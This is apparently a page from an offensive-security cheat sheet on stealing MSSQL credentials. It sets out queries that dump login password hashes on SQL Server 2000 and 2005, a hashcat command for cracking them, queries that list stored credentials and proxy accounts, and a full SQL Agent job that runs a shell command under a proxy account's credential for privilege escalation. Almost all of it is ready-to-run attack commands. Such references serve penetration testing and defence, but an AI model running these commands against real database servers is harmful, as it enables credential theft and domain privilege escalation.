MSSQL - Credentials

Summary#

• MSSQL Accounts and Hashes
• List Credentials on the SQL Server
• Proxy Account Context

MSSQL Accounts and Hashes#

• MSSQL 2000

  SELECT name, password FROM master..sysxloginsSELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

• MSSQL 2005

  SELECT name, password_hash FROM master.sys.sql_loginsSELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

Then crack passwords using Hashcat : hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force

List Credentials on the SQL Server#

• List credentials configured on the SQL Server instance

  SELECT * FROM sys.credentials 

• List proxy accounts

  USE msdb; GO SELECT      proxy_id,     name AS proxy_name,     credential_id,     enabled FROM      dbo.sysproxies; GO 

• dataplat/dbatools/Get-DecryptedObject.ps1

Proxy Account Context#

Agent Job using the registered proxy credential.

USE msdb; GO -- Create the job EXEC sp_add_job    @job_name = N'WhoAmIJob'; -- Name of the job -- Add a job step that uses the proxy to execute the whoami command EXEC sp_add_jobstep    @job_name = N'WhoAmIJob',    @step_name = N'ExecuteWhoAmI',    @subsystem = N'CmdExec',            @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',             @on_success_action = 1,         -- 1 = Quit with success   @on_fail_action = 2,                     -- 2 = Quit with failure   @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier -- Add a schedule to the job (optional, can be manual or scheduled) EXEC sp_add_jobschedule    @job_name = N'WhoAmIJob',    @name = N'RunOnce',    @freq_type = 1,             -- 1 = Once   @active_start_date = 20240820,         @active_start_time = 120000;            -- Add the job to the SQL Server Agent EXEC sp_add_jobserver    @job_name = N'WhoAmIJob',    @server_name = N'(LOCAL)';  

Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. EXEC sp_start_job @job_name = N'WhoAmIJob';

References#

• Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation - Scott Sutherland - September 10, 2024